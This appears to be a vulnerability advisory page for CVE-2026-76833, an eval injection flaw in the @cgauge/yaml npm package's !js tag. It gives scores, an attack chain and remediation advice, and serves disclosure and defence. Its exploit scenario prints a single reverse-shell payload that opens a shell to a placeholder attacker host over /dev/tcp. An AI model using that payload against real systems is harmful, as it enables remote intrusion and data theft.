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@cgauge/yaml CVE-2026-76833

| EUVDEUVD-2026-63350 HIGH
Eval Injection (CWE-95)
2026-08-20 VulnCheck GHSA-fqg3-vq72-r4q2
8.4
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.8 HIGH

Typical Node.js deployments expose YAML parsing over the network making AV:N appropriate; eval() grants full C/I/A; UI:R reflects parsing must be triggered on the malicious document.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
A
Scope
X

Lifecycle Timeline

2
Analysis Generated
Aug 20, 2026 - 14:21 vuln.today
CVE Published
Aug 20, 2026 - 13:33 cve.org
HIGH 8.4

DescriptionCVE.org

@cgauge/yaml npm package contains an arbitrary code execution vulnerability that allows attackers to execute arbitrary JavaScript by embedding a custom !js YAML tag whose construct callback unconditionally calls eval() on attacker-supplied string values during document parsing. Any application parsing untrusted YAML input with this library exposes full Node.js runtime authority, including environment variable access, filesystem read/write, network access, and subprocess execution, with no safe-mode alternative or opt-out mechanism available.

AnalysisAI

Arbitrary code execution in @cgauge/yaml (all versions ≤ 0.27.0) is achieved by embedding a custom !js YAML tag in a document supplied to the parser; the library's tag handler unconditionally passes the tag's string value to eval(), granting attackers the full authority of the Node.js runtime - including filesystem access, environment variable exfiltration, network calls, and subprocess spawning. No safe-mode parsing option or opt-out mechanism exists in the library, meaning every call site that parses attacker-controlled YAML is unconditionally vulnerable. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft YAML document with malicious !js tag
Delivery
Deliver document to application YAML parsing endpoint
Exploit
Parser invokes eval() on tag string value
Execution
Arbitrary JavaScript executes in Node.js process
Persist
Exfiltrate environment variables or filesystem data
Impact
Establish persistent access or lateral movement

Vulnerability AssessmentAI

Exploitation Exploitation requires that the target application uses @cgauge/yaml version ≤ 0.27.0 to parse YAML content that contains attacker-controlled values, and that the `!js` tagged scalar survives any pre-processing intact before reaching the parser. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:N/UI:A reflects that the attacker must deliver a malicious YAML document that a user or automated process then parses - the library itself does not listen on a network socket. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a YAML document containing a `!js` tagged scalar with malicious JavaScript - for example, `spawn('bash', ['-i', '>& /dev/tcp/attacker/4444', '0>&1'])` - and submits it to a Node.js service via a file-upload form, YAML-accepting API endpoint, or configuration import feature. When @cgauge/yaml parses the document, the `!js` handler calls `eval()` on the payload, executing the reverse shell or data-exfiltration code in the application's process context with all inherited OS privileges. …
Remediation No vendor-released patch has been identified at time of analysis; the absence of patch data is inferred from the references provided, not confirmed by an explicit vendor statement. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, conduct a complete inventory of all applications and services using @cgauge/yaml (any version ≤ 0.27.0) and identify which ones process external or untrusted YAML input, marking these as critical priority. …

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CVE-2026-76833 vulnerability details – vuln.today

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